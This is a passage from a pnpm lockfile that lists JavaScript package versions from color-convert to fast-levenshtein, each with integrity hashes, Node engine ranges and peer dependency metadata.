sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==} - engines: {node: '>=7.0.0'} - - color-name@1.1.4: - resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==} - - colord@2.9.3: - resolution: {integrity: sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw==} - - comma-separated-tokens@2.0.3: - resolution: {integrity: sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg==} - - commander@7.2.0: - resolution: {integrity: sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==} - engines: {node: '>= 10'} - - commondir@1.0.1: - resolution: {integrity: sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==} - - compressible@2.0.18: - resolution: {integrity: sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==} - engines: {node: '>= 0.6'} - - compression@1.8.1: - resolution: {integrity: sha512-9mAqGPHLakhCLeNyxPkK4xVo746zQ/czLH1Ky+vkitMnWfWZps8r0qXuwhwizagCRttsL4lfG4pIOvaWLpAP0w==} - engines: {node: '>= 0.8.0'} - - concat-map@0.0.1: - resolution: {integrity: sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==} - - concat-with-sourcemaps@1.1.0: - resolution: {integrity: sha512-4gEjHJFT9e+2W/77h/DS5SGUgwDaOwprX8L/gl5+3ixnzkVJJsZWDSelmN3Oilw3LNDZjZV0yqH1hLG3k6nghg==} - - confbox@0.1.8: - resolution: {integrity: sha512-RMtmw0iFkeR4YV+fUOSucriAQNb9g8zFR52MWCtl+cCZOFRNL6zeB395vPzFhEjjn4fMxXudmELnl/KF/WrK6w==} - - confbox@0.2.4: - resolution: {integrity: sha512-ysOGlgTFbN2/Y6Cg3Iye8YKulHw+R2fNXHrgSmXISQdMnomY6eNDprVdW9R5xBguEqI954+S6709UyiO7B+6OQ==} - - content-disposition@0.5.4: - resolution: {integrity: sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==} - engines: {node: '>= 0.6'} - - content-type@1.0.5: - resolution: {integrity: sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==} - engines: {node: '>= 0.6'} - - convert-source-map@2.0.0: - resolution: {integrity: sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==} - - cookie-signature@1.0.7: - resolution: {integrity: sha512-NXdYc3dLr47pBkpUCHtKSwIOQXLVn8dZEuywboCOJY/osA0wFSLlSawr3KN8qXJEyX66FcONTH8EIlVuK0yyFA==} - - cookie-signature@1.2.2: - resolution: {integrity: sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg==} - engines: {node: '>=6.6.0'} - - cookie@0.7.2: - resolution: {integrity: sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==} - engines: {node: '>= 0.6'} - - core-util-is@1.0.3: - resolution: {integrity: sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==} - - cross-spawn@7.0.6: - resolution: {integrity: sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==} - engines: {node: '>= 8'} - - css-declaration-sorter@6.4.1: - resolution: {integrity: sha512-rtdthzxKuyq6IzqX6jEcIzQF/YqccluefyCYheovBOLhFT/drQA9zj/UbRAa9J7C0o6EG6u3E6g+vKkay7/k3g==} - engines: {node: ^10 || ^12 || >=14} - peerDependencies: - postcss: ^8.0.9 - - css-select@4.3.0: - resolution: {integrity: sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==} - - css-tree@1.1.3: - resolution: {integrity: sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==} - engines: {node: '>=8.0.0'} - - css-what@6.2.2: - resolution: {integrity: sha512-u/O3vwbptzhMs3L1fQE82ZSLHQQfto5gyZzwteVIEyeaY5Fc7R4dapF/BvRoSYFeqfBk4m0V1Vafq5Pjv25wvA==} - engines: {node: '>= 6'} - - cssesc@3.0.0: - resolution: {integrity: sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==} - engines: {node: '>=4'} - hasBin: true - - cssnano-preset-default@5.2.14: - resolution: {integrity: sha512-t0SFesj/ZV2OTylqQVOrFgEh5uanxbO6ZAdeCrNsUQ6fVuXwYTxJPNAGvGTxHbD68ldIJNec7PyYZDBrfDQ+6A==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - cssnano-utils@3.1.0: - resolution: {integrity: sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - cssnano@5.1.15: - resolution: {integrity: sha512-j+BKgDcLDQA+eDifLx0EO4XSA56b7uut3BQFH+wbSaSTuGLuiyTa/wbRYthUXX8LC9mLg+WWKe8h+qJuwTAbHw==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - csso@4.2.0: - resolution: {integrity: sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==} - engines: {node: '>=8.0.0'} - - csstype@3.2.3: - resolution: {integrity: sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==} - - data-uri-to-buffer@3.0.1: - resolution: {integrity: sha512-WboRycPNsVw3B3TL559F7kuBUM4d8CgMEvk6xEJlOp7OBPjt6G7z8WMWlD2rOFZLk6OYfFIUGsCOWzcQH9K2og==} - engines: {node: '>= 6'} - - data-view-buffer@1.0.2: - resolution: {integrity: sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==} - engines: {node: '>= 0.4'} - - data-view-byte-length@1.0.2: - resolution: {integrity: sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==} - engines: {node: '>= 0.4'} - - data-view-byte-offset@1.0.1: - resolution: {integrity: sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==} - engines: {node: '>= 0.4'} - - date-fns@3.6.0: - resolution: {integrity: sha512-fRHTG8g/Gif+kSh50gaGEdToemgfj74aRX3swtiouboip5JDLAyDE9F11nHMIcvOaXeOC6D7SpNhi7uFyB7Uww==} - - debug@2.6.9: - resolution: {integrity: sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==} - peerDependencies: - supports-color: '*' - peerDependenciesMeta: - supports-color: - optional: true - - debug@4.4.3: - resolution: {integrity: sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==} - engines: {node: '>=6.0'} - peerDependencies: - supports-color: '*' - peerDependenciesMeta: - supports-color: - optional: true - - decode-named-character-reference@1.3.0: - resolution: {integrity: sha512-GtpQYB283KrPp6nRw50q3U9/VfOutZOe103qlN7BPP6Ad27xYnOIWv4lPzo8HCAL+mMZofJ9KEy30fq6MfaK6Q==} - - dedent@1.7.1: - resolution: {integrity: sha512-9JmrhGZpOlEgOLdQgSm0zxFaYoQon408V1v49aqTWuXENVlnCuY9JBZcXZiCsZQWDjTm5Qf/nIvAy77mXDAjEg==} - peerDependencies: - babel-plugin-macros: ^3.1.0 - peerDependenciesMeta: - babel-plugin-macros: - optional: true - - deep-is@0.1.4: - resolution: {integrity: sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==} - - deep-object-diff@1.1.9: - resolution: {integrity: sha512-Rn+RuwkmkDwCi2/oXOFS9Gsr5lJZu/yTGpK7wAaAIE75CC+LCGEZHpY6VQJa/RoJcrmaA/docWJZvYohlNkWPA==} - - deepmerge@4.3.1: - resolution: {integrity: sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==} - engines: {node: '>=0.10.0'} - - defaults@1.0.4: - resolution: {integrity: sha512-eFuaLoy/Rxalv2kr+lqMlUnrDWV+3j4pljOIJgLIhI058IQfWJ7vXhyEIHu+HtC738klGALYxOKDO0bQP3tg8A==} - - define-data-property@1.1.4: - resolution: {integrity: sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==} - engines: {node: '>= 0.4'} - - define-properties@1.2.1: - resolution: {integrity: sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==} - engines: {node: '>= 0.4'} - - depd@2.0.0: - resolution: {integrity: sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==} - engines: {node: '>= 0.8'} - - dequal@2.0.3: - resolution: {integrity: sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==} - engines: {node: '>=6'} - - destroy@1.2.0: - resolution: {integrity: sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==} - engines: {node: '>= 0.8', npm: 1.2.8000 || >= 1.4.16} - - detect-libc@2.1.2: - resolution: {integrity: sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==} - engines: {node: '>=8'} - - detect-node-es@1.1.0: - resolution: {integrity: sha512-ypdmJU/TbBby2Dxibuv7ZLW3Bs1QEmM7nHjEANfohJLvE0XVujisn1qPJcZxg+qDucsr+bP6fLD1rPS3AhJ7EQ==} - - diff@5.2.2: - resolution: {integrity: sha512-vtcDfH3TOjP8UekytvnHH1o1P4FcUdt4eQ1Y+Abap1tk/OB2MWQvcwS2ClCd1zuIhc3JKOx6p3kod8Vfys3E+A==} - engines: {node: '>=0.3.1'} - - dir-glob@3.0.1: - resolution: {integrity: sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==} - engines: {node: '>=8'} - - doctrine@2.1.0: - resolution: {integrity: sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==} - engines: {node: '>=0.10.0'} - - doctrine@3.0.0: - resolution: {integrity: sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==} - engines: {node: '>=6.0.0'} - - dom-serializer@1.4.1: - resolution: {integrity: sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==} - - domelementtype@2.3.0: - resolution: {integrity: sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==} - - domhandler@4.3.1: - resolution: {integrity: sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==} - engines: {node: '>= 4'} - - dompurify@3.2.7: - resolution: {integrity: sha512-WhL/YuveyGXJaerVlMYGWhvQswa7myDG17P7Vu65EWC05o8vfeNbvNf4d/BOvH99+ZW+LlQsc1GDKMa1vNK6dw==} - - domutils@2.8.0: - resolution: {integrity: sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==} - - dotenv@16.6.1: - resolution: {integrity: sha512-uBq4egWHTcTt33a72vpSG0z3HnPuIl6NqYcTrKEg2azoEyl2hpW0zqlxysq2pK9HlDIHyHyakeYaYnSAwd8bow==} - engines: {node: '>=12'} - - dunder-proto@1.0.1: - resolution: {integrity: sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==} - engines: {node: '>= 0.4'} - - duplexify@3.7.1: - resolution: {integrity: sha512-07z8uv2wMyS51kKhD1KsdXJg5WQ6t93RneqRxUHnskXVtlYYkLqM0gqStQZ3pj073g687jPCHrqNfCzawLYh5g==} - - eastasianwidth@0.2.0: - resolution: {integrity: sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==} - - ee-first@1.1.1: - resolution: {integrity: sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==} - - electron-to-chromium@1.5.302: - resolution: {integrity: sha512-sM6HAN2LyK82IyPBpznDRqlTQAtuSaO+ShzFiWTvoMJLHyZ+Y39r8VMfHzwbU8MVBzQ4Wdn85+wlZl2TLGIlwg==} - - emoji-regex@8.0.0: - resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==} - - emoji-regex@9.2.2: - resolution: {integrity: sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==} - - encodeurl@2.0.0: - resolution: {integrity: sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==} - engines: {node: '>= 0.8'} - - end-of-stream@1.4.5: - resolution: {integrity: sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==} - - enhanced-resolve@5.20.1: - resolution: {integrity: sha512-Qohcme7V1inbAfvjItgw0EaxVX5q2rdVEZHRBrEQdRZTssLDGsL8Lwrznl8oQ/6kuTJONLaDcGjkNP247XEhcA==} - engines: {node: '>=10.13.0'} - - entities@2.2.0: - resolution: {integrity: sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==} - - err-code@2.0.3: - resolution: {integrity: sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==} - - es-abstract@1.24.1: - resolution: {integrity: sha512-zHXBLhP+QehSSbsS9Pt23Gg964240DPd6QCf8WpkqEXxQ7fhdZzYsocOr5u7apWonsS5EjZDmTF+/slGMyasvw==} - engines: {node: '>= 0.4'} - - es-define-property@1.0.1: - resolution: {integrity: sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==} - engines: {node: '>= 0.4'} - - es-errors@1.3.0: - resolution: {integrity: sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==} - engines: {node: '>= 0.4'} - - es-iterator-helpers@1.2.2: - resolution: {integrity: sha512-BrUQ0cPTB/IwXj23HtwHjS9n7O4h9FX94b4xc5zlTHxeLgTAdzYUDyy6KdExAl9lbN5rtfe44xpjpmj9grxs5w==} - engines: {node: '>= 0.4'} - - es-module-lexer@1.7.0: - resolution: {integrity: sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA==} - - es-object-atoms@1.1.1: - resolution: {integrity: sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==} - engines: {node: '>= 0.4'} - - es-set-tostringtag@2.1.0: - resolution: {integrity: sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==} - engines: {node: '>= 0.4'} - - es-shim-unscopables@1.1.0: - resolution: {integrity: sha512-d9T8ucsEhh8Bi1woXCf+TIKDIROLG5WCkxg8geBCbvk22kzwC5G2OnXVMO6FUsvQlgUUXQ2itephWDLqDzbeCw==} - engines: {node: '>= 0.4'} - - es-to-primitive@1.3.0: - resolution: {integrity: sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==} - engines: {node: '>= 0.4'} - - esbuild-plugins-node-modules-polyfill@1.8.1: - resolution: {integrity: sha512-7vxzmyTFDhYUNhjlciMPmp32eUafNIHiXvo8ZD22PzccnxMoGpPnsYn17gSBoFZgpRYNdCJcAWsQ60YVKgKg3A==} - engines: {node: '>=14.0.0'} - peerDependencies: - esbuild: '>=0.14.0 <=0.27.x' - - esbuild@0.17.6: - resolution: {integrity: sha512-TKFRp9TxrJDdRWfSsSERKEovm6v30iHnrjlcGhLBOtReE28Yp1VSBRfO3GTaOFMoxsNerx4TjrhzSuma9ha83Q==} - engines: {node: '>=12'} - hasBin: true - - esbuild@0.21.5: - resolution: {integrity: sha512-mg3OPMV4hXywwpoDxu3Qda5xCKQi+vCTZq8S9J/EpkhB2HzKXq4SNFZE3+NK93JYxc8VMSep+lOUSC/RVKaBqw==} - engines: {node: '>=12'} - hasBin: true - - escalade@3.2.0: - resolution: {integrity: sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==} - engines: {node: '>=6'} - - escape-html@1.0.3: - resolution: {integrity: sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==} - - escape-string-regexp@4.0.0: - resolution: {integrity: sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==} - engines: {node: '>=10'} - - eslint-plugin-react-hooks@4.6.2: - resolution: {integrity: sha512-QzliNJq4GinDBcD8gPB5v0wh6g8q3SUi6EFF0x8N/BL9PoVs0atuGc47ozMRyOWAKdwaZ5OnbOEa3WR+dSGKuQ==} - engines: {node: '>=10'} - peerDependencies: - eslint: ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 - - eslint-plugin-react@7.37.5: - resolution: {integrity: sha512-Qteup0SqU15kdocexFNAJMvCJEfa2xUKNV4CC1xsVMrIIqEy3SQ/rqyxCWNzfrd3/ldy6HMlD2e0JDVpDg2qIA==} - engines: {node: '>=4'} - peerDependencies: - eslint: ^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9.7 - - eslint-scope@7.2.2: - resolution: {integrity: sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==} - engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} - - eslint-visitor-keys@3.4.3: - resolution: {integrity: sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==} - engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} - - eslint@8.57.1: - resolution: {integrity: sha512-ypowyDxpVSYpkXr9WPv2PAZCtNip1Mv5KTW0SCurXv/9iOpcrH9PaqUElksqEB6pChqHGDRCFTyrZlGhnLNGiA==} - engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} - deprecated: This version is no longer supported. Please see https://eslint.org/version-support for other options. - hasBin: true - - espree@9.6.1: - resolution: {integrity: sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==} - engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} - - esquery@1.7.0: - resolution: {integrity: sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==} - engines: {node: '>=0.10'} - - esrecurse@4.3.0: - resolution: {integrity: sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==} - engines: {node: '>=4.0'} - - estraverse@5.3.0: - resolution: {integrity: sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==} - engines: {node: '>=4.0'} - - estree-util-attach-comments@2.1.1: - resolution: {integrity: sha512-+5Ba/xGGS6mnwFbXIuQiDPTbuTxuMCooq3arVv7gPZtYpjp+VXH/NkHAP35OOefPhNG/UGqU3vt/LTABwcHX0w==} - - estree-util-build-jsx@2.2.2: - resolution: {integrity: sha512-m56vOXcOBuaF+Igpb9OPAy7f9w9OIkb5yhjsZuaPm7HoGi4oTOQi0h2+yZ+AtKklYFZ+rPC4n0wYCJCEU1ONqg==} - - estree-util-is-identifier-name@1.1.0: - resolution: {integrity: sha512-OVJZ3fGGt9By77Ix9NhaRbzfbDV/2rx9EP7YIDJTmsZSEc5kYn2vWcNccYyahJL2uAQZK2a5Or2i0wtIKTPoRQ==} - - estree-util-is-identifier-name@2.1.0: - resolution: {integrity: sha512-bEN9VHRyXAUOjkKVQVvArFym08BTWB0aJPppZZr0UNyAqWsLaVfAqP7hbaTJjzHifmB5ebnR8Wm7r7yGN/HonQ==} - - estree-util-to-js@1.2.0: - resolution: {integrity: sha512-IzU74r1PK5IMMGZXUVZbmiu4A1uhiPgW5hm1GjcOfr4ZzHaMPpLNJjR7HjXiIOzi25nZDrgFTobHTkV5Q6ITjA==} - - estree-util-value-to-estree@1.3.0: - resolution: {integrity: sha512-Y+ughcF9jSUJvncXwqRageavjrNPAI+1M/L3BI3PyLp1nmgYTGUXU6t5z1Y7OWuThoDdhPME07bQU+d5LxdJqw==} - engines: {node: '>=12.0.0'} - - estree-util-visit@1.2.1: - resolution: {integrity: sha512-xbgqcrkIVbIG+lI/gzbvd9SGTJL4zqJKBFttUl5pP27KhAjtMKbX/mQXJ7qgyXpMgVy/zvpm0xoQQaGL8OloOw==} - - estree-walker@0.6.1: - resolution: {integrity: sha512-SqmZANLWS0mnatqbSfRP5g8OXZC12Fgg1IwNtLsyHDzJizORW4khDfjPqJZsemPWBB2uqykUah5YpQ6epsqC/w==} - - estree-walker@2.0.2: - resolution: {integrity: sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==} - - estree-walker@3.0.3: - resolution: {integrity: sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==} - - esutils@2.0.3: - resolution: {integrity: sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==} - engines: {node: '>=0.10.0'} - - etag@1.8.1: - resolution: {integrity: sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==} - engines: {node: '>= 0.6'} - - eval@0.1.8: - resolution: {integrity: sha512-EzV94NYKoO09GLXGjXj9JIlXijVck4ONSr5wiCWDvhsvj5jxSrzTmRU/9C1DyB6uToszLs8aifA6NQ7lEQdvFw==} - engines: {node: '>= 0.8'} - - event-target-shim@5.0.1: - resolution: {integrity: sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==} - engines: {node: '>=6'} - - eventemitter3@4.0.7: - resolution: {integrity: sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==} - - execa@5.1.1: - resolution: {integrity: sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==} - engines: {node: '>=10'} - - exit-hook@2.2.1: - resolution: {integrity: sha512-eNTPlAD67BmP31LDINZ3U7HSF8l57TxOY2PmBJ1shpCvpnxBF93mWCE8YHBnXs8qiUZJc9WDcWIeC3a2HIAMfw==} - engines: {node: '>=6'} - - express@4.22.1: - resolution: {integrity: sha512-F2X8g9P1X7uCPZMA3MVf9wcTqlyNp7IhH5qPCI0izhaOIYXaW9L535tGA3qmjRzpH+bZczqq7hVKxTR4NWnu+g==} - engines: {node: '>= 0.10.0'} - - exsolve@1.0.8: - resolution: {integrity: sha512-LmDxfWXwcTArk8fUEnOfSZpHOJ6zOMUJKOtFLFqJLoKJetuQG874Uc7/Kki7zFLzYybmZhp1M7+98pfMqeX8yA==} - - extend@3.0.2: - resolution: {integrity: sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==} - - fast-deep-equal@3.1.3: - resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==} - - fast-glob@3.3.3: - resolution: {integrity: sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==} - engines: {node: '>=8.6.0'} - - fast-json-stable-stringify@2.1.0: - resolution: {integrity: sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==} - - fast-levenshtein@2.0.6: - resolution: {integrity: 